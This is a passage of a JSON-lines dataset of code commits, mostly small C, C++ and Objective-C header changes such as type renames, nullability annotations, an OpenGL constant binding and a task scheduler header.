{\npublic:\n    static ScriptObject* create(NPP npp);\n\n    void invalidate();\n    bool hasMethod(NPIdentifier name);\n    bool invoke(NPIdentifier name,\n\t\tconst NPVariant *args,\n\t\tuint32_t argCount,\n\t\tNPVariant *result);\n    bool enumerate(NPIdentifier **identifiers, uint32_t *identifierCount);\n\n    static NPObject* allocateThunk(NPP npp, NPClass *aClass);\n    static void deallocateThunk(NPObject *npobj);\n    static void invalidateThunk(NPObject *npobj);\n    static bool hasMethodThunk(NPObject *npobj, NPIdentifier name);\n    static bool invokeThunk(NPObject *npobj, NPIdentifier name,\n\t\t\t    const NPVariant *args, uint32_t argCount,\n\t\t\t    NPVariant *result);\n    static bool enumerateThunk(NPObject *npobj, NPIdentifier **identifiers,\n\t\t\t       uint32_t *identifierCount);\n\nprivate:\n    ScriptObject(NPP npp);\n    ~ScriptObject();\n\n    EmacsInstance* emacsInstance();\n    \n    NPP npp_;\n\n    DISALLOW_COPY_AND_ASSIGN(ScriptObject);\n};\n\n#endif  \/\/ INCLUDED_SCRIPT_OBJECT_H_\n","subject":"Disable copy and assign on ScriptObject","message":"Disable copy and assign on ScriptObject\n","lang":"C","license":"mit","repos":"davidben\/embedded-emacs,davidben\/embedded-emacs,davidben\/embedded-emacs"}
{"commit":"3cb53ef14172a14cf05f2777847538d492ec8421","old_file":"RFKeyboardToolbar\/RFToolbarButton.h","new_file":"RFKeyboardToolbar\/RFToolbarButton.h","old_contents":"\/\/\n\/\/  RFToolbarButton.h\n\/\/\n\/\/  Created by Rudd Fawcett on 12\/3\/13.\n\/\/  Copyright (c) 2013 Rudd Fawcett. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/**\n *  The block used for each button.\n *\/\ntypedef void (^eventHandlerBlock)();\n\n@interface RFToolbarButton : UIButton\n\n\/**\n *  Creates a new RFToolbarButton.\n *\n *  @param title The string to show on the button.\n *\n *  @return A new button.\n *\/\n+ (instancetype)buttonWithTitle:(NSString *)title;\n\n\/**\n *  Creates a new RFToolbarButton.\n *\n *  @param title        The string to show on the button.\n *  @param eventHandler The event handler block.\n *  @param controlEvent The type of event.\n *\n *  @return A new button.\n *\/\n+ (instancetype)buttonWithTitle:(NSString *)title andEventHandler:(eventHandlerBlock)eventHandler forControlEvents:(UIControlEvents)controlEvent;\n\n\/**\n *  Adds the event handler for the button.\n *\n *  @param eventHandler The event handler block.\n *  @param controlEvent The type of event.\n *\/\n- (void)addEventHandler:(eventHandlerBlock)eventHandler forControlEvents:(UIControlEvents)controlEvent;\n\n@end\n","new_contents":"\/\/\n\/\/  RFToolbarButton.h\n\/\/\n\/\/  Created by Rudd Fawcett on 12\/3\/13.\n\/\/  Copyright (c) 2013 Rudd Fawcett. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/**\n *  The block used for each button.\n *\/\ntypedef void (^eventHandlerBlock)(void);\n\n@interface RFToolbarButton : UIButton\n\n\/**\n *  Creates a new RFToolbarButton.\n *\n *  @param title The string to show on the button.\n *\n *  @return A new button.\n *\/\n+ (instancetype)buttonWithTitle:(NSString *)title;\n\n\/**\n *  Creates a new RFToolbarButton.\n *\n *  @param title        The string to show on the button.\n *  @param eventHandler The event handler block.\n *  @param controlEvent The type of event.\n *\n *  @return A new button.\n *\/\n+ (instancetype)buttonWithTitle:(NSString *)title andEventHandler:(eventHandlerBlock)eventHandler forControlEvents:(UIControlEvents)controlEvent;\n\n\/**\n *  Adds the event handler for the button.\n *\n *  @param eventHandler The event handler block.\n *  @param controlEvent The type of event.\n *\/\n- (void)addEventHandler:(eventHandlerBlock)eventHandler forControlEvents:(UIControlEvents)controlEvent;\n\n@end\n","subject":"Fix warning about block declaration semantics","message":"Fix warning about block declaration semantics\n","lang":"C","license":"mit","repos":"ruddfawcett\/RFKeyboardToolbar"}
{"commit":"fb2a0e23314d7abf9ab91bda09cc335aed9b1865","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef CONFIG_H\n#define CONFIG_H\n\n#define YLE_DOWNLOADER_GUI_VERSION \"2.0\"\n\n#define WINDOWS_YLE_DL_DIR \"yle-dl-windows-1.99.7\"\n\n#endif \/\/ CONFIG_H\n","new_contents":"#ifndef CONFIG_H\n#define CONFIG_H\n\n#define YLE_DOWNLOADER_GUI_VERSION \"2.0\"\n\n#define WINDOWS_YLE_DL_DIR \"yle-dl-windows\"\n\n#endif \/\/ CONFIG_H\n","subject":"Change WINDOWS_YLE_DL_DIR to not have a version number.","message":"Change WINDOWS_YLE_DL_DIR to not have a version number.\n","lang":"C","license":"unlicense","repos":"hekkup\/qyledl,hekkup\/qyledl,hekkup\/qyledl"}
{"commit":"001af213199c25b457df50bebb664570285a1ca8","old_file":"Pod\/Classes\/CMHActivityList.h","new_file":"Pod\/Classes\/CMHActivityList.h","old_contents":"#import <CloudMine\/CloudMine.h>\n#import <CareKit\/CareKit.h>\n\n@interface CMHActivityList : CMObject\n\n- (instancetype)init NS_UNAVAILABLE;\n- (instancetype)initWithObjectId:(NSString *)theObjectId NS_UNAVAILABLE;\n\n@property (nonatomic, nonnull, readonly) NSArray <OCKCarePlanActivity *> * activities;\n- (_Nonnull instancetype)initWithActivities:(NSArray<OCKCarePlanActivity *> *_Nonnull)activities;\n\n@end\n","new_contents":"#import <CloudMine\/CloudMine.h>\n#import <CareKit\/CareKit.h>\n\n@interface CMHActivityList : CMObject\n\n- (_Null_unspecified instancetype)init NS_UNAVAILABLE;\n- (_Null_unspecified instancetype)initWithObjectId:(NSString *_Null_unspecified)theObjectId NS_UNAVAILABLE;\n\n@property (nonatomic, nonnull, readonly) NSArray <OCKCarePlanActivity *> * activities;\n- (_Nonnull instancetype)initWithActivities:(NSArray<OCKCarePlanActivity *> *_Nonnull)activities;\n\n@end\n","subject":"Add placeholder nullability annotations to unavailable declarations to prevent warning while building activity list","message":"Add placeholder nullability annotations to unavailable declarations to prevent warning while building activity list\n","lang":"C","license":"mit","repos":"cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK-iOS,cloudmine\/CMHealthSDK"}
{"commit":"f04e0dcb4e372731557990ba034745824260a37b","old_file":"mudlib\/mud\/home\/Http\/initd.c","new_file":"mudlib\/mud\/home\/Http\/initd.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2014  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/privilege.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nprivate void load()\n{\n}\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Http\", 1);\n\n\tload();\n}\n\nvoid upgrade_subsystem()\n{\n\tACCESS_CHECK(previous_program() == INITD);\n\n\tload();\n\n\tpurge_orphans(\"Http\");\n}\n","subject":"Add http subsystem for later usage and expansion","message":"Add http subsystem for later usage and expansion\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"4ec6dde3a662778f898375bdda879904509ad33d","old_file":"src\/NavRouting\/SdkModel\/NavRoutingLocationFinder.h","new_file":"src\/NavRouting\/SdkModel\/NavRoutingLocationFinder.h","old_contents":"#pragma once\n\n#include \"ISingleOptionAlertBoxDismissedHandler.h\"\n#include \"INavRoutingLocationFinder.h\"\n#include \"NavRoutingLocationModel.h\"\n#include \"SearchResultModel.h\"\n#include \"ILocationService.h\"\n#include \"IAlertBoxFactory.h\"\n\nnamespace ExampleApp\n{\n    namespace NavRouting\n    {\n        namespace SdkModel\n        {\n            class NavRoutingLocationFinder : public INavRoutingLocationFinder\n            {\n            private:\n                Eegeo::Location::ILocationService& m_locationService;\n                Eegeo::Resources::Interiors::InteriorsModelRepository& m_interiorsModelRepository;\n                Eegeo::UI::NativeAlerts::IAlertBoxFactory& m_alertBoxFactory;\n                Eegeo::UI::NativeAlerts::TSingleOptionAlertBoxDismissedHandler<NavRoutingLocationFinder> m_failAlertHandler;\n\n                void OnFailAlertBoxDismissed();\n\n            public:\n                NavRoutingLocationFinder(\n                        Eegeo::Location::ILocationService& locationService,\n                        Eegeo::Resources::Interiors::InteriorsModelRepository& interiorsModelRepository,\n                        Eegeo::UI::NativeAlerts::IAlertBoxFactory& alertBoxFactory);\n                bool TryGetCurrentLocation(NavRoutingLocationModel &outLocation);\n                bool TryGetLocationFromSearchResultModel(\n                        const Search::SdkModel::SearchResultModel& searchResultModel,\n                        NavRoutingLocationModel &outLocation);\n            };\n        }\n    }\n}\n","new_contents":"#pragma once\n\n#include \"Types.h\"\n#include \"ISingleOptionAlertBoxDismissedHandler.h\"\n#include \"INavRoutingLocationFinder.h\"\n#include \"NavRoutingLocationModel.h\"\n#include \"SearchResultModel.h\"\n#include \"ILocationService.h\"\n#include \"IAlertBoxFactory.h\"\n\nnamespace ExampleApp\n{\n    namespace NavRouting\n    {\n        namespace SdkModel\n        {\n            class NavRoutingLocationFinder : public INavRoutingLocationFinder, private Eegeo::NonCopyable\n            {\n            private:\n                Eegeo::Location::ILocationService& m_locationService;\n                Eegeo::Resources::Interiors::InteriorsModelRepository& m_interiorsModelRepository;\n                Eegeo::UI::NativeAlerts::IAlertBoxFactory& m_alertBoxFactory;\n                Eegeo::UI::NativeAlerts::TSingleOptionAlertBoxDismissedHandler<NavRoutingLocationFinder> m_failAlertHandler;\n\n                void OnFailAlertBoxDismissed();\n\n            public:\n                NavRoutingLocationFinder(\n                        Eegeo::Location::ILocationService& locationService,\n                        Eegeo::Resources::Interiors::InteriorsModelRepository& interiorsModelRepository,\n                        Eegeo::UI::NativeAlerts::IAlertBoxFactory& alertBoxFactory);\n                \n                virtual ~NavRoutingLocationFinder() {};\n                \n                bool TryGetCurrentLocation(NavRoutingLocationModel &outLocation);\n                bool TryGetLocationFromSearchResultModel(\n                        const Search::SdkModel::SearchResultModel& searchResultModel,\n                        NavRoutingLocationModel &outLocation);\n            };\n        }\n    }\n}\n","subject":"Fix missing virtual dtor on new type Buddy Michael Chan","message":"Fix missing virtual dtor on new type\nBuddy Michael Chan\n","lang":"C","license":"bsd-2-clause","repos":"eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app"}
{"commit":"b8ccf5a8022a002571a40900e6f725a0c8b0d860","old_file":"src\/udon2xml.c","new_file":"src\/udon2xml.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"udon.h\"\n\nint main (int argc, char *argv[]) {\n    int i;\n    int found = 0;\n    pstate *state = init_from_file(\"..\/sjson-examples\/big.txt\");\n    for(i=0; i<10000; i++) {\n        found += parse(state);\n        reset_state(state);\n    }\n    free_state(state);\n    printf(\"%d\\n\", found);\n}\n\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"udon.h\"\n\nint main (int argc, char *argv[]) {\n    int i;\n    int found = 0;\n    if(argc < 2) return 1;\n    pstate *state = init_from_file(argv[1]);\n    for(i=0; i<10000; i++) {\n        found += parse(state);\n        reset_state(state);\n    }\n    free_state(state);\n    printf(\"%d\\n\", found);\n}\n\n","subject":"Remove hardcoded file path. Still awkward and not generally usable, but _more_ general.","message":"Remove hardcoded file path. Still awkward and not generally usable, but _more_\ngeneral.\n","lang":"C","license":"mit","repos":"josephwecker\/udon-c,josephwecker\/udon-c,josephwecker\/udon-c,josephwecker\/udon-c"}
{"commit":"562f2b7069f12d7558bccf72d49a13007e090947","old_file":"crypto\/isrcrypto.h","new_file":"crypto\/isrcrypto.h","old_contents":"","new_contents":"#ifndef LIBISRCRYPTO_H\n#define LIBISRCRYPTO_H\n\nstruct isrcry_aes_key {\n   ulong32 eK[60], dK[60];\n   int Nr;\n};\n\nstruct isrcry_blowfish_key {\n   ulong32 S[4][256];\n   ulong32 K[18];\n};\n\n\/** A block cipher CBC structure *\/\ntypedef struct {\n   \/** The index of the cipher chosen *\/\n   int                 cipher, \n   \/** The block size of the given cipher *\/                        \n                       blocklen;\n   \/** The current IV *\/\n   unsigned char       IV[MAXBLOCKSIZE];\n   \/** The scheduled key *\/\n   symmetric_key       key;\n} symmetric_CBC;\n\n#endif\n","subject":"Add initial exported header file","message":"crypto: Add initial exported header file\n\n- Add initial exported header file with relevant structs from\ntomcrypt_cipher.h\n","lang":"C","license":"epl-1.0","repos":"cmusatyalab\/openisr,cmusatyalab\/openisr,cmusatyalab\/openisr,cmusatyalab\/openisr,cmusatyalab\/openisr"}
{"commit":"052b3fc55ae2ee20e2ab6d9e29fde8a4fee7a68b","old_file":"src\/pomodoro.h","new_file":"src\/pomodoro.h","old_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ pomodoro - Defines a model to track progress through the Pomodoro Technique\n\/\/ Copyright (c) 2013 Jonathan Speicher (jon.speicher@gmail.com)\n\/\/ Licensed under the MIT license: http:\/\/opensource.org\/licenses\/MIT\n\/\/ ----------------------------------------------------------------------------\n\n#pragma once\n\n#include <stdbool.h>\n\n\/\/ Defines a type to hold the various pomodoro technique segment types.\n\ntypedef enum {\n  POMODORO_SEGMENT_TYPE_POMODORO = 0,\n  POMODORO_SEGMENT_TYPE_BREAK,\n  POMODORO_SEGMENT_TYPE_COUNT\n} SegmentType;\n\n\/\/ Defines a type to hold a pomodoro technique segment.\n\ntypedef struct {\n  Interval interval;\n  bool restart_on_abort;\n} Segment;\n\n\/\/ Defines a structure type to hold the pomodoro technique segment sequence.\n\ntypedef struct {\n  Segment* this_segment;\n  Segment segments[POMODORO_SEGMENT_TYPE_COUNT];\n} Pomodoro;\n\n\/\/ Initializes the pomodoro technique structure.\n\nvoid pomodoro_init(Pomodoro* pomodoro);\n\n\/\/ Completes the current pomodoro technique segment and causes an advance to\n\/\/ the next appropriate segment in the pomodoro technique sequence.\n\nvoid pomodoro_complete_segment(Pomodoro* pomodoro);\n\n\/\/ Aborts the current pomodoro tecnique segment and causes an advance to the\n\/\/ next appropriate segment in the pomodoro technique sequence.\n\nvoid pomodoro_abort_segment(Pomodoro* pomodoro);\n","new_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ pomodoro - Defines a model to track progress through the Pomodoro Technique\n\/\/ Copyright (c) 2013 Jonathan Speicher (jon.speicher@gmail.com)\n\/\/ Licensed under the MIT license: http:\/\/opensource.org\/licenses\/MIT\n\/\/ ----------------------------------------------------------------------------\n\n#pragma once\n\n#include <stdbool.h>\n\n\/\/ Defines a type to hold the various pomodoro technique segment types.\n\ntypedef enum {\n  POMODORO_SEGMENT_TYPE_POMODORO = 0,\n  POMODORO_SEGMENT_TYPE_BREAK,\n  POMODORO_SEGMENT_TYPE_COUNT\n} PomodoroSegmentType;\n\n\/\/ Defines a type to hold a pomodoro technique segment.\n\ntypedef struct {\n  Interval interval;\n  bool restart_on_abort;\n} PomodoroSegment;\n\n\/\/ Defines a type to hold the pomodoro technique segment sequence.\n\ntypedef struct {\n  PomodoroSegment* this_segment;\n  PomodoroSegment segments[POMODORO_SEGMENT_TYPE_COUNT];\n} Pomodoro;\n\n\/\/ Initializes the pomodoro technique sequence structure.\n\nvoid pomodoro_init(Pomodoro* pomodoro);\n\n\/\/ Completes the current pomodoro technique segment and causes an advance to\n\/\/ the next appropriate segment in the pomodoro technique sequence.\n\nvoid pomodoro_complete_segment(Pomodoro* pomodoro);\n\n\/\/ Aborts the current pomodoro tecnique segment and causes an advance to the\n\/\/ next appropriate segment in the pomodoro technique sequence.\n\nvoid pomodoro_abort_segment(Pomodoro* pomodoro);\n","subject":"Fix some comments and type names","message":"Fix some comments and type names\n","lang":"C","license":"mit","repos":"jonspeicher\/Pomade,jonspeicher\/Pomade,elliots\/simple-demo-pebble"}
{"commit":"35e0ab1f6591592e10dea911cacbd649de4f8da3","old_file":"MouseEvent.h","new_file":"MouseEvent.h","old_contents":"#pragma once\n#include <cstdint>\n\nnamespace ni {\n\tstruct MouseEvent {\n\t\tint32_t deltaX;\n\t\tint32_t deltaY;\n\t\tint32_t deltaWheel;\n\t\tuint8_t leftButtonDown;\n\t\tuint8_t rightButtonDown;\n\t\tuint8_t middleButtonDown;\n\t};\n}","new_contents":"#pragma once\n#include <cstdint>\n\nnamespace ni {\n\tstruct MouseEvent {\n\t\tint32_t deltaX;\n\t\tint32_t deltaY;\n\t\tint8_t deltaWheel;\n\t\tuint8_t leftButtonDown;\n\t\tuint8_t rightButtonDown;\n\t\tuint8_t middleButtonDown;\n\t};\n\tstatic_assert(sizeof(MouseEvent) == 12, \"Improper mouse event size\");\n}","subject":"Change MouseWheel deltaWheel field size to one byte. Add compile time size check to Mouse Event.","message":"Change MouseWheel deltaWheel field size to one byte. Add compile time size check to Mouse Event.\n","lang":"C","license":"mit","repos":"jack-karamanian\/NetInput"}
{"commit":"9e82bcb019f476a4f025f63b101f8a250033ca9d","old_file":"win32_compat.h","new_file":"win32_compat.h","old_contents":"\/*\n\nCopyright (c) 2014 Harm Hanemaaijer <fgenfb@yahoo.com>\n\nPermission to use, copy, modify, and\/or distribute this software for any\npurpose with or without fee is hereby granted, provided that the above\ncopyright notice and this permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\nOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n*\/\n\n\/*\r\n    win32-compat.h -- header file with definitions for compatability with Windows.\r\n\r\n*\/\r\n\r\n\/\/ Note: Just using the built-in maximum and minimum values on all system may be safer\/\r\n\/\/ give more consistent results than using 'INFINITY', so use of the latter is disabled.\r\n\r\n\/\/ #if !defined(__GNUC__ ) || defined(OPENGL_ES2)\r\n\r\n#if 1\r\n\r\n#define POSITIVE_INFINITY_DOUBLE DBL_MAX\r\n#define NEGATIVE_INFINITY_DOUBLE DBL_MIN\r\n#define POSITIVE_INFINITY_FLOAT FLT_MAX\r\n#define NEGATIVE_INFINITY_FLOAT FLT_MIN\r\n\r\n#else\r\n\r\n#define POSITIVE_INFINITY_DOUBLE INFINITY\r\n#define NEGATIVE_INFINITY_DOUBLE (- INFINITY)\r\n#define POSITIVE_INFINITY_FLOAT INFINITY\r\n#define NEGATIVE_INFINITY_FLOAT (- INFINITY)\r\n\r\n#endif\r\n\r\n#ifndef __GNUC__\r\n#define isnan(x) _isnan(x)\r\n#endif\r\n\r\n","new_contents":"\/*\n\nCopyright (c) 2014 Harm Hanemaaijer <fgenfb@yahoo.com>\n\nPermission to use, copy, modify, and\/or distribute this software for any\npurpose with or without fee is hereby granted, provided that the above\ncopyright notice and this permission notice appear in all copies.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\nWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\nANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\nWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\nACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\nOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n*\/\n\n\/*\n    win32-compat.h -- header file with definitions for compatability with Windows.\n\n*\/\n\n\/\/ Note: Just using the built-in maximum and minimum values on all system may be safer\/\n\/\/ give more consistent results than using 'INFINITY', so use of the latter is disabled.\n\n#define POSITIVE_INFINITY_DOUBLE DBL_MAX\n#define NEGATIVE_INFINITY_DOUBLE - DBL_MAX\n#define POSITIVE_INFINITY_FLOAT FLT_MAX\n#define NEGATIVE_INFINITY_FLOAT - FLT_MAX\n\n#ifndef __GNUC__\n#define isnan(x) _isnan(x)\n#endif\n\n","subject":"Fix major bug in definition of greatest negative float value","message":"Fix major bug in definition of greatest negative float value\n\nThe minimum float value was actually defined as a very small\nnegative value close to zero, as opposed to a very large negative\nvalue in the direction of minus infinity. This error may have\ncaused multiple, sometimes hard to pinpoint, bugs.\n\nAlso convert the file win32_compat.h to consistent UNIX newlines.\n","lang":"C","license":"isc","repos":"hglm\/sre,hglm\/sre,hglm\/sre"}
{"commit":"e87f79e573ba951dad55b81433b3a1839dd85332","old_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","new_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","old_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_FUNC(ring_get_gl_false)\n{\n\tRING_API_RETNUMBER(GL_FALSE);\n}\n\nRING_FUNC(ring_get_gl_logic_op)\n{\n\tRING_API_RETNUMBER(GL_LOGIC_OP);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n\tring_vm_funcregister(\"get_gl_false\",ring_get_gl_false);\n\tring_vm_funcregister(\"get_gl_logic_op\",ring_get_gl_logic_op);\n}\n","new_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_FUNC(ring_get_gl_false)\n{\n\tRING_API_RETNUMBER(GL_FALSE);\n}\n\nRING_FUNC(ring_get_gl_logic_op)\n{\n\tRING_API_RETNUMBER(GL_LOGIC_OP);\n}\n\nRING_FUNC(ring_get_gl_none)\n{\n\tRING_API_RETNUMBER(GL_NONE);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n\tring_vm_funcregister(\"get_gl_false\",ring_get_gl_false);\n\tring_vm_funcregister(\"get_gl_logic_op\",ring_get_gl_logic_op);\n\tring_vm_funcregister(\"get_gl_none\",ring_get_gl_none);\n}\n","subject":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_NONE","message":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_NONE\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"}
{"commit":"005729668570026852429b644002a5785cbbfd39","old_file":"interface\/include\/quaternion_bind.h","new_file":"interface\/include\/quaternion_bind.h","old_contents":"\/*     __ __              _ \n *    \/ \/\/ \/_____ ____   (_)\n *   \/ \/\/ \/\/ ___\/\/ __ \\ \/ \/ \n *  \/ \/\/ \/\/ \/__ \/ \/_\/ \/\/ \/  \n * \/_\/\/_\/ \\___\/ \\____\/\/_\/   \n * https:\/\/bitbucket.org\/galaktor\/llcoi \n * copyright (c) 2014, llcoi Team\n * MIT license applies - see file \"LICENSE\" for details.\n*\/\n#pragma once\n\n#include \"ogre_interface.h\"\n\nDLL QuaternionHandle quaternion_create();\nDLL void quaternion_from_rotation_matrix(QuaternionHandle quat, coiMatrix3 *rot);\nDLL void quaternion_to_rotation_matrix(QuaternionHandle quat, coiMatrix3 *rot);\nDLL QuaternionHandle quaternion_from_values(coiReal fW, coiReal fX, coiReal fY, coiReal fZ);\nDLL void quaternion_from_angle_axis(QuaternionHandle handle, coiRadian rfAngle, Vector3Handle vecHandle);\nDLL coiReal quaternion_get_w(QuaternionHandle quat);\nDLL coiReal quaternion_get_x(QuaternionHandle quat);\nDLL coiReal quaternion_get_y(QuaternionHandle quat);\nDLL coiReal quaternion_get_z(QuaternionHandle quat);\nDLL QuaternionHandle quaternion_multiply_quaternion(QuaternionHandle lhs, QuaternionHandle rhs);\nDLL QuaternionHandle quaternion_subtract_quaternion(QuaternionHandle lhs, QuaternionHandle rhs);\nDLL QuaternionHandle quaternion_unit_inverse(QuaternionHandle lhs, QuaternionHandle rhs);\n","new_contents":"\/*     __ __              _ \n *    \/ \/\/ \/_____ ____   (_)\n *   \/ \/\/ \/\/ ___\/\/ __ \\ \/ \/ \n *  \/ \/\/ \/\/ \/__ \/ \/_\/ \/\/ \/  \n * \/_\/\/_\/ \\___\/ \\____\/\/_\/   \n * https:\/\/bitbucket.org\/galaktor\/llcoi \n * copyright (c) 2014, llcoi Team\n * MIT license applies - see file \"LICENSE\" for details.\n*\/\n#pragma once\n\n#include \"ogre_interface.h\"\n\nDLL QuaternionHandle quaternion_create();\nDLL void quaternion_from_rotation_matrix(QuaternionHandle quat, coiMatrix3 *rot);\nDLL void quaternion_to_rotation_matrix(QuaternionHandle quat, coiMatrix3 *rot);\nDLL QuaternionHandle quaternion_from_values(coiReal fW, coiReal fX, coiReal fY, coiReal fZ);\nDLL void quaternion_from_angle_axis(QuaternionHandle handle, coiRadian rfAngle, Vector3Handle vecHandle);\nDLL coiReal quaternion_get_w(QuaternionHandle quat);\nDLL coiReal quaternion_get_x(QuaternionHandle quat);\nDLL coiReal quaternion_get_y(QuaternionHandle quat);\nDLL coiReal quaternion_get_z(QuaternionHandle quat);\nDLL QuaternionHandle quaternion_multiply_quaternion(QuaternionHandle lhs, QuaternionHandle rhs);\nDLL QuaternionHandle quaternion_subtract_quaternion(QuaternionHandle lhs, QuaternionHandle rhs);\nDLL QuaternionHandle quaternion_unit_inverse(QuaternionHandle q);\n","subject":"Update signature of quaternion unit inverse.","message":"Update signature of quaternion unit inverse.\n","lang":"C","license":"mit","repos":"fire\/llcoi,fire\/llcoi"}
{"commit":"340b3dbdf1142a12278ae902b9081ed9e55679f3","old_file":"exemplos\/primeiro-trimestre\/02-somando-dois-numeros.c","new_file":"exemplos\/primeiro-trimestre\/02-somando-dois-numeros.c","old_contents":"","new_contents":"\/**\n * Exemplo 02 - Somando dois números\n * \n * Nesse exemplo, vemos como podemos somar dois números. \n * Além disso, vemos como é possível mostrar um número na tela\n *\/\n\n#include <stdio.h>\n\nint main(void)\n{\n\t\/**\n\t * Para realizar a soma em si, utilizamos o operador +\n\t * Para imprimir o resultado, utilizamos a função printf (print formatted, imprimir com formatação)\n\t * A formatação do printf funciona da seguinte maneira:\n\t * \t\tO primeiro argumento será o \"modelo\" a ser impresso na tela\n\t * \t\tTudo que começar com % será considerado uma \"lacuna\" a ser preenchida por algum valor\n\t * \t\tNo caso, utilizamos %d, o d indicando que iremos imprimir um número (TODO: referenciar tabela)\n\t * \t\tAo contrário da função puts, o printf não insere um \"enter\" (quebra de linha) após a mensagem,\n\t * \t\t\tlogo inserimos nós mesmos. Na linguagem C, sequências começadas em \\ são consideradas \"escapadas\",\n\t * \t\t\tse transformando em caracteres de controle. No caso, a sequência \\n é impressa como um enter.\n\t *\/\n\tprintf(\"2 + 2 = %d \\n\", 2 + 2);\n\treturn 0;\n}","subject":"Add another example! (somando dois números)","message":"Add another example! (somando dois números)\n","lang":"C","license":"unlicense","repos":"atropelando\/terceiro-ano-programacao"}
{"commit":"f44be40fe1d9be9535a4819d7ef468cbba34ea74","old_file":"scheduler.h","new_file":"scheduler.h","old_contents":"\/*\n * scheduler.h\n *\n *  Created on: Jun 8, 2016\n *      Author: riley\n *\/\n\n#ifndef SCHEDULER_H\n#define SCHEDULER_H\n\n#include <stdint.h>\n#include \"scheduler_private.h\"\n\ntypedef void (*task_func_t)( void ) ;\n\ntypedef volatile struct task_private_s {\n    const char * name;\n    volatile void * task_sp; \/\/Task stack pointer\n    volatile struct task_private_s * next;\n} task_t;\n\n\n\/\/\/ Sets up the idle task\nvoid scheduler_init( void );\n\n\/**\n * Add task to task list to be run at next context switch.\n * Push task routine pointer and empty status register\n * onto the new task stack so they can be popped off later\n * from the task switch interrupt.\n *\/\nvoid scheduler_add_task(task_t * task_handle, const char * name,\n                        task_func_t func, uint16_t * task_stack, uint16_t stack_bytes);\n\n\/\/\/ Kicks off the timer interrupt\nvoid scheduler_run( void );\n\n\/**\n * Handy macro which blackboxes the allocation of memory\n * per task. Accepts the task function to schedule\n * and the size of stack to allocate as arguments.\n *\/\n#define SCHEDULER_ADD(func, stack_size) \\\n    CREATE_TASK_HANDLE(__LINE__, func); \\\n    CREATE_TASK_STACK(__LINE__, func, 